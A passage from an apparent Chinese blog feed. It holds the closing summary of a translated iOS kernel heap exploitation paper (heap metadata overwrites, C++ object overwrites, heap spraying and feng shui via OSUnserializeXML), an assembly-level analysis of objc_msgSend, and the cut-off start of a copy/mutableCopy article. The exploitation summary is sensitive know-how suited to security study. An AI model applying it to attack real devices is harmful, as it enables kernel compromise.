<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>本文中我们首先重演了 iOS 内核堆空间分配，以及不同作者在之前所提到的它的利用。接着，我们介绍了其他的内核堆分配器以及它们所带来的额外的堆元数据。我们讨论了如何重写这些可以被利用的数据，以及提到了这些分配器目前的变化。接下来我们离内核堆元数据结构的利用只有一步之遥，我们讨论了 iOS C++ 内核对象，以及他们在内存结构的布局和在内存中重写他们可以得到什么。最后，我们介绍一种通用的技术，利用 OSUnserializeXML() 可以实现堆喷射和堆风水。这种新技术不仅可以使用任意数据喷射堆来完全控制它的布局，也可以使用有意思的内核应用数据来填充内核堆，该应用数据采用内核级别的 C++ 对象形式，一旦重写，将会允许任意代码执行。</p>
<hr>
<h4 id="References"><a href="#References" class="headerlink" title="References"></a>References</h4><p>[1] E. PERLA, M. OLDANI, ”A GUIDE TO KERNEL EXPLOITATION - ATTACKING THE CORE”, 2010, HTTP://WWW.ATTACKINGTHECORE.COM/<br>[2] S. ESSER, ”IOS KERNEL EXPLOITATION, BLACKHAT USA”, 2011 HTTPS://MEDIA.BLACKHAT.COM/BH-US- 11/ESSER/BH_US_11_ESSER_EXPLOITING_THE_IOS_KERNEL_WP.PDF<br>[3] C. MILLER, D. BLAZAKIS, D. DAIZOVI, S. ESSER, V. IOZZO, R.-P. WEINMANN, ”IOS HACKER’S HANDBOOK”, 2012, HTTP://EU.WILEY.COM/WILEYCDA/WILEYTITLE/PRODUCTCD-1118204123,DESCCD- DESCRIPTION.HTML<br>[4] A. SOTIROV, ”HEAP FENG SHUI IN JAVASCRIPT, BLACKHAT EUROPE”, 2007 HTTPS://WWW.BLACKHAT.COM/PRESENTATIONS/BH-USA-07/SOTIROV/WHITEPAPER/BH- USA-07-SOTIROV-WP.PDF</p>
]]></content>
      <categories>
        <category>翻译</category>
      </categories>
  </entry>
  <entry>
    <title>通过汇编解读 objc_msgSend</title>
    <url>/77e03b7f.html</url>
    <content><![CDATA[<h2 id="基础知识提要"><a href="#基础知识提要" class="headerlink" title="基础知识提要"></a>基础知识提要</h2><p>调用方法，本质是发送消息。比如：</p>
<table><tbody><tr><td class="code"><pre><div class="line">Person *p = [[Person alloc] init];</div><div class="line">[p test];</div><div class="line"></div><div class="line"><span class="comment">// 本质是发送消息： clang -rewrite-objc main.m</span></div><div class="line">((<span class="keyword">void</span> (*)(<span class="keyword">id</span>, SEL))(<span class="keyword">void</span> *)objc_msgSend)((<span class="keyword">id</span>)p, sel_registerName(<span class="string">"test"</span>));</div></pre></td></tr></tbody></table>

<a id="more"></a>

<p>当编译器遇到一个方法调用时，它会将方法的调用翻译成以下函数中的一个，<br>objc_msgSend、 objc_msgSend_stret、 objc_msgSendSuper 和 objc_msgSendSuper_stret。</p>
<blockquote>
<ul>
<li>发送给对象的父类的消息会使用 objc_msgSendSuper ;</li>
<li>有数据结构作为返回值的方法会使用 objc_msgSendSuper_stret 或 objc_msgSend_stret ;</li>
<li>其它的消息都是使用 objc_msgSend 发送的。</li>
</ul>
</blockquote>
<p>也就是说所有的方法调用，都是通过 objc_msgSend（或其大类）来实现转发的。</p>
<p>objc_msgSend 的具体实现由汇编语言编写而成，不同平台有不同的实现，objc-msg-arm.s、objc-msg-arm64.s、objc-msg-i386.s、objc-msg-simulator-i386.s、objc-msg-simulator-x86_64.s、objc-msg-x86_64.s。<br>本文以 ARM64 平台为例。</p>
<h2 id="汇编分析"><a href="#汇编分析" class="headerlink" title="汇编分析"></a>汇编分析</h2><h3 id="汇编概览"><a href="#汇编概览" class="headerlink" title="汇编概览"></a>汇编概览</h3><p>如下图所示：</p>
<p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend1.png"></p>
<h3 id="流程图分析"><a href="#流程图分析" class="headerlink" title="流程图分析"></a>流程图分析</h3><h4 id="分支1：X0-0"><a href="#分支1：X0-0" class="headerlink" title="分支1：X0 = 0"></a>分支1：X0 = 0</h4><p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend2.png"></p>
<p>这条分支很简单，对照图1的总图来讲，就是蓝色的那条线，第1行-&gt;第2行-&gt; 29 -&gt; 35~41 ret。<br>先对传入的 X0（即对象地址）作判断，如果 X0=0，则直接返回。</p>
<h4 id="分支2：X0-lt-0-Tagger-Pointer"><a href="#分支2：X0-lt-0-Tagger-Pointer" class="headerlink" title="分支2：X0 &lt; 0 (Tagger Pointer)"></a>分支2：X0 &lt; 0 (Tagger Pointer)</h4><p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend3.png"></p>
<p>对照图1来讲，流程为黄色的那根线，1~2 -&gt; 29~34 -&gt; 6 -&gt; …</p>
<p>判断 X0&lt;0，即地址最高位为1，这是 Tagger Pointer 类型的标志（对于 ARM64 架构来讲），关于这个类型，部分内容在我之前的文章<a href="https://harpersu00.github.io/accb5a79.html">copy 与 mutableCopy（传说中的深浅拷贝）</a>中5.4节有提到。</p>
<p>loc_1800b9c30 这个模块取出了 Tagger Pointer 的类索引表，赋值给 X10。<br>下一行 <code>UBFM X11,X0,#0x3C,#0x3F</code>，取 0x3C~0x3F 中的值赋给 X11，其余位以0填充，与图1第32行的意思相同，都是取出最高4位，比如 NSString 类型的 Tagger Pointer 最高4位为 a，运算过后，x11 = 0xa 。<br>接着 <code>LDR X9,[X10,X11,LSL#3]</code>，先运算 X11 左移3位等于 0x50。x9 = x10[0x50]，也就是在类索引表中查找所属类。找到后跳到 loc_1800b9BD0，也就是图1中的第6行。</p>
<h4 id="分支3：X0-gt-0"><a href="#分支3：X0-gt-0" class="headerlink" title="分支3：X0 &gt; 0"></a>分支3：X0 &gt; 0</h4><p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend4.png"></p>
<p>这是大多数情况会走的流程。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//类的结构</span></div><div class="line"><span class="keyword">struct</span> objc_class : objc_object {</div><div class="line">    <span class="comment">// Class ISA;       //继承自objc_object</span></div><div class="line">    Class superclass;     <span class="comment">// 父类引用</span></div><div class="line">    cache_t cache;        <span class="comment">// 用来缓存指针和虚函数表</span></div><div class="line">    class_data_bits_t bits; <span class="comment">// class_rw_t 指针加上 rr/alloc 标志</span></div><div class="line">}</div></pre></td></tr></tbody></table>

<p>接下来我们根据汇编指令一条条来分析。<br><code>LDR X13,[X0]</code> 取出调用方法的对象指针保存的地址（从上面代码可以看出，就是 isa 指针地址），赋给 X13。</p>
<p><code>AND X9,X13,#0x1FFFFFFF8</code> 解读这条指令之前，要先了解 isa 指针的结构。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">union</span> isa_t {</div><div class="line">    isa_t() { }</div><div class="line">    isa_t(uintptr_t value) : bits(value) { }</div><div class="line">    Class cls;</div><div class="line">    uintptr_t bits;</div><div class="line">    <span class="keyword">struct</span> {</div><div class="line">        uintptr_t indexed           : <span class="number">1</span>;</div><div class="line">        uintptr_t has_assoc         : <span class="number">1</span>;</div><div class="line">        uintptr_t has_cxx_dtor      : <span class="number">1</span>;</div><div class="line">        uintptr_t shiftcls          : <span class="number">33</span>; </div><div class="line">        uintptr_t magic             : <span class="number">6</span>;</div><div class="line">        uintptr_t weakly_referenced : <span class="number">1</span>;</div><div class="line">        uintptr_t deallocating      : <span class="number">1</span>;</div><div class="line">        uintptr_t has_sidetable_rc  : <span class="number">1</span>;</div><div class="line">        uintptr_t extra_rc          : <span class="number">19</span>;</div><div class="line">    };</div><div class="line">};</div></pre></td></tr></tbody></table>

<p>首先先来看一下这 64 个二进制位每一位的含义：</p>
<table>
<thead>
<tr>
<th>区域名</th>
<th align="center">代表信息</th>
</tr>
</thead>
<tbody><tr>
<td>indexed (0位)</td>
<td align="center">0 表示普通的 isa 指针，1 表示使用优化，存储引用计数</td>
</tr>
<tr>
<td>has_assoc (1位)</td>
<td align="center">表示该对象是否有关联引用，如果没有，则析构时更快</td>
</tr>
<tr>
<td>has_cxx_dtor (2位)</td>
<td align="center">表示该对象是否有 C++ 或 ARC 的析构函数，如果没有，则析构时更快</td>
</tr>
<tr>
<td>shiftcls (3~35位)</td>
<td align="center">类的指针</td>
</tr>
<tr>
<td>magic (36~41位)</td>
<td align="center">固定值，用于在调试时分辨对象是否未完成初始化</td>
</tr>
<tr>
<td>weakly_referenced (42位)</td>
<td align="center">表示该对象是否有过 weak 对象，如果没有，则析构时更快</td>
</tr>
<tr>
<td>deallocating (43位)</td>
<td align="center">表示该对象是否正在析构</td>
</tr>
<tr>
<td>has_sidetable_rc (44位)</td>
<td align="center">表示该对象的引用计数值是否过大无法存储在 isa 指针</td>
</tr>
<tr>
<td>extra_rc (45~63位)</td>
<td align="center">存储引用计数值减一后的结果</td>
</tr>
</tbody></table>
<p>也就是说 0x1FFFFFFF8 取1的位数刚好是 shiftcls 的区域，是 isa 指针中存储的该对象的类指针。所以 X9 = isa-&gt;cls。</p>
<p><code>LDP X10,X11,[X9,#0X10]</code>： X9+16个字节，也就是跳过了8个字节的 isa 指针，和8个字节的 superclass 指针，到了 cache 指针这里。 cache 的结构如下：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">struct</span> bucket_t {</div><div class="line">    <span class="keyword">void</span> *sel;</div><div class="line">    <span class="keyword">void</span> *imp;</div><div class="line">};</div><div class="line"></div><div class="line"><span class="keyword">struct</span> cache_t {</div><div class="line">    <span class="keyword">struct</span> bucket_t *buckets;</div><div class="line">    mask_t mask;</div><div class="line">    mask_t occupied;</div><div class="line">};</div></pre></td></tr></tbody></table>

<p>因此，X10=buckets 指针，X11 的低32位为 mask，高32位为 occupied（mask_t 是 int 类型）。 occupied是 cache 中实际拥有的方法个数。</p>
<p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend5.png"></p>
<p><code>AND W12,W1,W11</code>： 将 _cmd 的低32位和 cache-&gt;mask 作与运算。<br><code>ADD X12,X10,X12,LSL#4</code>: 与运算后的结果左移4位，作为buckets的索引（相当于数组下标）。这里也可以看出 mask 的作用，应该是一种优化的 hash 表搜索算法。将取得的指针赋给 X12。<br><code>LDP X16,X17,[X12]</code>： 由 bucket 的结构可以知道，这里是将 bucket [(_cmd&amp;mask)&lt;&lt;4] 中的 sel 赋给 X16，imp 赋给 X17（imp 为方法的入口地址）。<br>这三条指令就是通过 mask 找到一个 bucket 元素。</p>
<p><code>CMP X16,X1</code>, <code>B.NE loc_1800B9BEC</code>, <code>BR X17</code>： 这3条指令很好理解，比较 bucket 元素中的 sel 和 _cmd 的值是否相等，不相等，则跳到 loc_1800B9BEC 模块，相等则直接进入对应 imp（方法入口地址）。</p>
<p><code>loc_1800B9BEC CBZ X16,_objc_msgSend_uncached_impcache</code>： 如果 X16=0 则跳到 objc_msgSend_uncached 这个函数去，不等于0则继续执行。<br><code>CMP X12,X10</code>, <code>B.EQ loc_1800B9C00</code>： 判断是否已搜索到最后一个 bucket（即 bucket 的初始地址），是则跳到 loc_1800B9C00，否则继续执行。</p>
<ul>
<li><p>先讨论没有搜索完的情况，<br><code>loc_1800B9C00 LDP X16,X17,[X12,#-0X10]</code>, <code>B loc_1800B9BE0</code>： bucket 元素减16字节，即跳到前一个 bucket 元素，同样将 sel 和 imp 指针赋值，然后跳回与 _cmd 比较的那条指令循环。</p>
</li>
<li><p>直到搜索完毕，<br><code>ADD X12,X12,W11,UXTW #4</code>： x12 = buckets+(mask&lt;&lt;4)，扩大搜索范围，在缓存内全面搜索。（进行到这一步，说明 bucket [(_cmd&amp;mask)&lt;&lt;4] 元素之前的 bucket 已全部被占满，且均不是我们要找的方法）<br><code>LDP X16,X17,[X12]</code>： 跟之前的命令意思一样。</p>
</li>
</ul>
<p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend6.png"></p>
<p>可以看到，之后的流程跟前面的循环一模一样，但是加大了搜索范围，从 bucket [mask&lt;&lt;4] 往前开始搜索（进行到这一步说明 bucket [(_cmd&amp;mask)&lt;&lt;4] 前面的缓存都占满了）。从以上分析，我们可以看出，<strong>能在缓存 cache 里找到的方法，会直接跳到入口地址 X17。</strong>而没有在 cache 里的方法，则要继续调用 objc_msgSend_uncached 函数。现在，返回图1再查看，是不是觉得思路清晰很多呀！</p>
<h4 id="关于缓存-cahce"><a href="#关于缓存-cahce" class="headerlink" title="关于缓存 cahce"></a>关于缓存 cahce</h4><p>cache 的原则是缓存那些可能要执行的函数地址。</p>
<blockquote>
<p>有一种说法是，只要函数执行过一次的方法，都会存入缓存。但在我的测试中，有时候会遵循这种说法，有时候又不尽然，执行过的方法不一定会被放入缓存，但没有被执行过的肯定不会进入缓存。具体什么样的操作会导致方法被载入缓存，还需要从类的初始化探讨起，此点存疑。</p>
</blockquote>
<p>cahce 其实是一个 hash 表，通过 _cmd&amp;mask 的结果再左移4位，作为索引值，如果这个地址存的方法 _cmd2 与 _cmd 不同，那么有两种原因：一是 _cmd 压根儿没被载入缓存；二是由于它的索引值跟 _cmd 相同，但 _cmd2 先进入缓存，因此 _cmd2 占据了这个位置。这时，如果 _cmd 被载入缓存的话，则在 _cmd2 索引值-1的位置存入，如果这个位置也不为0，那么继续前往索引值-2的位置，直到找到一个0位，然后存入。</p>
<p>在上面的汇编分析中，我们也能看到这个思路。在图1中第8行，取 bucket 索引值；第10行，比较 _cmd 值；如果不同则第13行，查看是否为0，如果为0，则不再搜索，直接进入 uncache 函数（因为是0的话，由上一段分析可以知道，说明这个方法没有在缓存里）；如果不为0，则前往索引值-1（地址-16）的位置查找；第17行返回循环到第10行。</p>
<p>下面来做一个测试，</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="class"><span class="keyword">@implementation</span> <span class="title">aboutObjectiveC</span></span></div><div class="line">-(<span class="keyword">void</span>)objc_msgSend1 {</div><div class="line">    <span class="built_in">NSLog</span>(<span class="string">@"objc_msgSend1"</span>);</div><div class="line">    [<span class="keyword">self</span> objc_msgSend2];</div><div class="line">}</div><div class="line"></div><div class="line">-(<span class="keyword">void</span>)objc_msgSend1 {</div><div class="line">    <span class="built_in">NSLog</span>(<span class="string">@"objc_msgSend2"</span>);</div><div class="line">}</div></pre></td></tr></tbody></table>

<p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend7.png"></p>
<p>如上图所示，在 main.m 第17行下断点（即第二次执行 objc_msgSend1 方法时），si 进入 objc_msgSend 函数，然后执行到图1中的第7行，打印各值如下</p>
<p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/objc_msgSend8.png"></p>
<p>w11 是 mask 的值为0011，跟 init的 SEL(0x1883910b6) 指针作与运算，为0x2，左移4位为0x20，因此在 x10+0x20 处载入 cache；跟 objc_msgSend1 的 SEL(0x10008ecac) 作与运算，为0x0，左移4位还是0x0，因此在 x10 bucket 处载入 cache；同样对 objc_msgSend2 作与运算左移4位，也是0x20，而 bucket[0x20] 处已经被 init 占用了，因此前往 bucket[0x20-0x10] 处，这个位置是0，所以将 objc_msgSend2 填入缓存的这个位置。如下图所示：</p>
<p><img src="/images/2016-11-09-%E9%80%86%E5%90%91%E7%9F%A5%E8%AF%86-%E9%80%9A%E8%BF%87%E6%B1%87%E7%BC%96%E8%A7%A3%E8%AF%BB-objc_msgSend/cache.png"></p>
<h4 id="lookUpImpOrForward-函数"><a href="#lookUpImpOrForward-函数" class="headerlink" title="lookUpImpOrForward 函数"></a>lookUpImpOrForward 函数</h4><p>我们已经知道如果缓存中没有找到该方法，则跳转执行 _objc_msgSend_uncached_impcache，在这里又会执行 bl _class_lookupMethodAndLoadCache3 指令，跳转到 _class_lookupMethodAndLoadCache3，由汇编语言的实现回到了 C 函数的实现，这个函数只是简单的调用了另外一个函数 lookUpImpOrForward，并传入参数 cache=NO，这个函数是 Runtime 消息机制中非常重要的一环。</p>
<table><tbody><tr><td class="code"><pre><div class="line">IMP lookUpImpOrForward(Class cls, SEL sel, <span class="keyword">id</span> inst, </div><div class="line">                       <span class="keyword">bool</span> initialize, <span class="keyword">bool</span> cache, <span class="keyword">bool</span> resolver)</div><div class="line">{</div><div class="line">    Class curClass;</div><div class="line">    IMP imp = <span class="literal">nil</span>;</div><div class="line">    Method meth;</div><div class="line">    <span class="keyword">bool</span> triedResolver = <span class="literal">NO</span>;</div><div class="line"></div><div class="line">    runtimeLock.assertUnlocked();</div><div class="line"></div><div class="line">    <span class="comment">//因为 _class_lookupMethodAndLoadCache3 传入的 cache = NO，</span></div><div class="line">    <span class="comment">//所以这里会直接跳过 if 中代码的执行，</span></div><div class="line">    <span class="comment">//在 objc_msgSend 中已经使用汇编代码查找过了。 </span></div><div class="line"></div><div class="line">    <span class="keyword">if</span> (cache) {</div><div class="line">        imp = cache_getImp(cls, sel);</div><div class="line">        <span class="keyword">if</span> (imp) <span class="keyword">return</span> imp;</div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="comment">//根据 cls-&gt;isRealized() 来判断是否要调用 realizeClass 函数在</span></div><div class="line">    <span class="comment">// Objective-C 运行时 初始化的过程中会对其中的类进行第一次初始化</span></div><div class="line">    <span class="comment">//也就是执行 realizeClass 方法，为类分配可读写结构体 class_rw_t</span></div><div class="line">    <span class="comment">//的空间，并返回正确的类结构体。</span></div><div class="line">    <span class="keyword">if</span> (!cls-&gt;isRealized()) {</div><div class="line">        rwlock_writer_t lock(runtimeLock);</div><div class="line">        realizeClass(cls);</div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="comment">//根据 cls-&gt;isInitialized() 来判断类的是不是 initialized，</span></div><div class="line">    <span class="comment">//也就是类的首次被使用的时候，其 initialize 方法要在此时被调用</span></div><div class="line">    <span class="comment">//一次，也仅此一次。没有 initialized 的话，则调用</span></div><div class="line">    <span class="comment">//_class_initialize 函数去触发这个类的 initialize 方法，然后</span></div><div class="line">    <span class="comment">//会设置 isInitialized 状态为 initialized </span></div><div class="line">    <span class="keyword">if</span> (initialize  &amp;&amp;  !cls-&gt;isInitialized()) {</div><div class="line">        _class_initialize (_class_getNonMetaClass(cls, inst));</div><div class="line">        <span class="comment">// If sel == initialize, _class_initialize will send +initialize and </span></div><div class="line">        <span class="comment">// then the messenger will send +initialize again after this </span></div><div class="line">        <span class="comment">// procedure finishes. Of course, if this is not being called </span></div><div class="line">        <span class="comment">// from the messenger then it won't happen. 2778172</span></div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="comment">// The lock is held to make method-lookup + cache-fill atomic </span></div><div class="line">    <span class="comment">// with respect to method addition. Otherwise, a category could </span></div><div class="line">    <span class="comment">// be added but ignored indefinitely because the cache was re-filled </span></div><div class="line">    <span class="comment">// with the old value after the cache flush on behalf of the category.</span></div><div class="line"> retry:</div><div class="line">    runtimeLock.read();</div><div class="line"></div><div class="line">    <span class="comment">// 是否开启GC(垃圾回收)； 新版本这一段代码已经没有了。</span></div><div class="line">    <span class="keyword">if</span> (ignoreSelector(sel)) {</div><div class="line">        imp = _objc_ignored_method;</div><div class="line">        cache_fill(cls, sel, imp, inst);</div><div class="line">        <span class="keyword">goto</span> done;</div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="comment">// 这里再次查找 cache 是因为有可能 cache 真的又有了，因为锁的原因</span></div><div class="line">    imp = cache_getImp(cls, sel);</div><div class="line">    <span class="keyword">if</span> (imp) <span class="keyword">goto</span> done;</div><div class="line"></div><div class="line">    <span class="comment">// Try this class's method lists.</span></div><div class="line">    meth = getMethodNoSuper_nolock(cls, sel);</div><div class="line">    <span class="keyword">if</span> (meth) {</div><div class="line">        log_and_fill_cache(cls, meth-&gt;imp, sel, inst, cls);</div><div class="line">        imp = meth-&gt;imp;</div><div class="line">        <span class="keyword">goto</span> done;</div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="comment">// Try superclass caches and method lists.</span></div><div class="line">    curClass = cls;</div><div class="line">    <span class="keyword">while</span> ((curClass = curClass-&gt;superclass)) {</div><div class="line">        <span class="comment">// Superclass cache.</span></div><div class="line">        imp = cache_getImp(curClass, sel);</div><div class="line">        <span class="keyword">if</span> (imp) {</div><div class="line">            <span class="keyword">if</span> (imp != (IMP)_objc_msgForward_impcache) {</div><div class="line">                <span class="comment">// Found the method in a superclass. Cache it in this class.</span></div><div class="line">                log_and_fill_cache(cls, imp, sel, inst, curClass);</div><div class="line">                <span class="keyword">goto</span> done;</div><div class="line">            }</div><div class="line">            <span class="keyword">else</span> {</div><div class="line">                <span class="comment">// Found a forward:: entry in a superclass.</span></div><div class="line">                <span class="comment">// Stop searching, but don't cache yet; call method </span></div><div class="line">                <span class="comment">// resolver for this class first.</span></div><div class="line">                <span class="keyword">break</span>;</div><div class="line">            }</div><div class="line">        }</div><div class="line"></div><div class="line">        <span class="comment">// Superclass method list.</span></div><div class="line">        meth = getMethodNoSuper_nolock(curClass, sel);</div><div class="line">        <span class="keyword">if</span> (meth) {</div><div class="line">            log_and_fill_cache(cls, meth-&gt;imp, sel, inst, curClass);</div><div class="line">            imp = meth-&gt;imp;</div><div class="line">            <span class="keyword">goto</span> done;</div><div class="line">        }</div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="comment">// No implementation found. Try method resolver once.</span></div><div class="line">    <span class="keyword">if</span> (resolver  &amp;&amp;  !triedResolver) {</div><div class="line">        runtimeLock.unlockRead();</div><div class="line">        _class_resolveMethod(cls, sel, inst);</div><div class="line">        <span class="comment">// Don't cache the result; we don't hold the lock so it may have </span></div><div class="line">        <span class="comment">// changed already. Re-do the search from scratch instead.</span></div><div class="line">        triedResolver = <span class="literal">YES</span>;</div><div class="line">        <span class="keyword">goto</span> retry;</div><div class="line">    }</div><div class="line"></div><div class="line">    <span class="comment">// No implementation found, and method resolver didn't help. </span></div><div class="line">    <span class="comment">// Use forwarding.</span></div><div class="line">    imp = (IMP)_objc_msgForward_impcache;</div><div class="line">    cache_fill(cls, sel, imp, inst);</div><div class="line"></div><div class="line"> done:</div><div class="line">    runtimeLock.unlockRead();</div><div class="line"></div><div class="line">    <span class="comment">// paranoia: look for ignored selectors with non-ignored implementations （新版本没有这两句断言）</span></div><div class="line">    assert(!(ignoreSelector(sel)  &amp;&amp;  imp != (IMP)&amp;_objc_ignored_method));</div><div class="line"></div><div class="line">    <span class="comment">// paranoia: never let uncached leak out （新版本没有这两句断言）</span></div><div class="line">    assert(imp != _objc_msgSend_uncached_impcache);</div><div class="line"></div><div class="line">    <span class="keyword">return</span> imp;</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>lookUpImpOrForward 主要做了以下几个工作</p>
<ul>
<li>判断类的初始化 cls-&gt;isRealized() 和 cls-&gt;isInitialized() ；</li>
<li>是否开启GC(垃圾回收)；（新版本没有这一步）</li>
<li>再次尝试去缓存中获取IMP；（因为锁的原因）</li>
<li>找不到接着去 class 的方法列表查找，找到会加入缓存列表然后返回 IMP；</li>
<li>找不到，去父类的缓存列表找，然后去父类的方法列表找，找到了会加入自己的缓存列表，然后返回 IMP，找不到循环此步骤，直到找到基类；</li>
<li>都找不到则 _class_resolveMethod 函数会被调用，进入消息动态处理、转发阶段。</li>
</ul>
<p>对于 objc_msgSend 反汇编的分析就结束啦！如果是在动态调试过程中，遇到 objc_msgSend 想要进入被调用的方法的话，有 cache，则直接 si 进入 br X17，如果没有 cache，则在 _objc_msgSend_uncached_impcache 函数中最后几行中的 br X17 指令输入 si 即可进入被调用方法。</p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] ObjC Runtime（五）：消息传递机制　<a href="https://xiuchundao.me/post/runtime-messaging">https://xiuchundao.me/post/runtime-messaging</a><br>[2] 从源代码看 ObjC 中消息的发送　<a href="http://draveness.me/message/">http://draveness.me/message/</a><br>[3] objc_msgSend内部到底做了什么？　<a href="http://oriochan.com/14710029019312.html">http://oriochan.com/14710029019312.html</a><br>[4] 用 isa 承载对象的类信息　<a href="http://www.desgard.com/isa/">http://www.desgard.com/isa/</a><br>[5] 深入解析 ObjC 中方法的结构<br>[<a href="https://github.com/Draveness/iOS-Source-Code-Analyze/blob/master/contents/objc//%E6/%B7/%B1/%E5/%85/%A5/%E8/%A7/%A3/%E6/%9E/%90/%20ObjC/%20/%E4/%B8/%AD/%E6/%96/%B9/%E6/%B3/%95/%E7/%9A/%84/%E7/%BB/%93/%E6/%9E/%84.md]">https://github.com/Draveness/iOS-Source-Code-Analyze/blob/master/contents/objc/\%E6\%B7\%B1\%E5\%85\%A5\%E8\%A7\%A3\%E6\%9E\%90\%20ObjC\%20\%E4\%B8\%AD\%E6\%96\%B9\%E6\%B3\%95\%E7\%9A\%84\%E7\%BB\%93\%E6\%9E\%84.md]</a>(&lt;<a href="https://github.com/Draveness/iOS-Source-Code-Analyze/blob/master/contents/objc/%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90">https://github.com/Draveness/iOS-Source-Code-Analyze/blob/master/contents/objc/深入解析</a> ObjC 中方法的结构.md&gt;)</p>
]]></content>
      <categories>
        <category>逆向知识</category>
      </categories>
  </entry>
  <entry>
    <title>copy 与 mutableCopy（传说中的深浅拷贝）</title>
    <url>/accb5a79.html</url>
    <content><![CDATA[<h2 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h2><p>对象拷贝有两种方式：浅拷贝和深拷贝。</p>
<p>浅拷贝(shallow copy)，并不拷贝对象本身，<strong>仅仅是拷贝指向对象的指针</strong>。<br>如果 <code>B = [A 浅拷贝]</code>，则 A、B 两个对象中都保存的同一个指针，如果 A 通过这个指针改变了指针指向的对象，那么 B 指针指向的对象也就随之改变了；</p>
<p>深拷贝是直接<strong>拷贝整个对象到另一块内存中</strong>，开辟新的地址来存储，两个对象至此一别，再无关联。</p>
<a id="more"></a>

<blockquote>
<p>对于集合对象（如 NSSArray、NSDictionary 等）而言，又有<strong>单层深拷贝</strong>与<strong>完全拷贝</strong>之分。</p>
<p>单层深拷贝(one-level-deep copy)：指的是对于被拷贝对象，至少有一层是深拷贝。<br>完全拷贝(real-deep copy)：指的是对于被拷贝对象的每一层都是对象拷贝。</p>
</blockquote>
<h2 id="copy-与-mutableCopy"><a href="#copy-与-mutableCopy" class="headerlink" title="copy 与 mutableCopy"></a>copy 与 mutableCopy</h2><p>不管是集合类对象，还是非集合类对象，接收到 copy 和 mutableCopy 消息时，都遵循以下准则：</p>
<ul>
<li>copy 返回不可变(imutable)对象，如果对copy返回值使用可变对象方法就会crash；</li>
<li>mutablCopy 默认返回可变(mutable)对象（如果拷贝后的对象本身是不可变的，那也没法变呀，总不能改变人对象的类型吧，比如 <code>NSString *str2 = [str1 mutableCopy];</code> ）。</li>
</ul>
<h2 id="示例头文件"><a href="#示例头文件" class="headerlink" title="示例头文件"></a>示例头文件</h2><p>首先定义了一系列会用到的属性，另外，我在宏定义里去掉了 NSLog 的时间戳，然后定义了 AmyLog ，用来显示对象的所属类，以及地址。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="meta">#import <span class="meta-string">&lt;Foundation/Foundation.h&gt;</span></span></div><div class="line"></div><div class="line"><span class="meta">#define NSLog(FORMAT, ...) fprintf(stderr, <span class="meta-string">"%s\n"</span>, [[NSString stringWithFormat:FORMAT, ##__VA_ARGS__] UTF8String] )</span></div><div class="line"></div><div class="line"><span class="meta">#define AmyLog(_var) NSLog(@<span class="meta-string">"     (%@ *) %p\n"</span>, [_var class], _var)</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">@interface</span> <span class="title">FirstClass</span> : <span class="title">NSObject</span></span></div><div class="line"></div><div class="line"><span class="comment">//非集合类对象</span></div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">copy</span>) <span class="built_in">NSString</span> *string;</div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">strong</span>) <span class="built_in">NSMutableString</span> *mString;</div><div class="line"></div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">copy</span>) <span class="built_in">NSString</span> *stringCopy;</div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">copy</span>) <span class="built_in">NSString</span> *stringMutableCopy;</div><div class="line"></div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">strong</span>) <span class="built_in">NSMutableString</span> *mStringCopy;</div><div class="line"><span class="keyword">@property</span> (<span class="keyword">nonatomic</span>, <span class="keyword">strong</span>) <span class="built_in">NSMutableString</span> *mStringMutableCopy;</div><div class="line"></div><div class="line"><span class="comment">//集合类对象</span></div><div class="line"><span class="keyword">@property</span> (<span 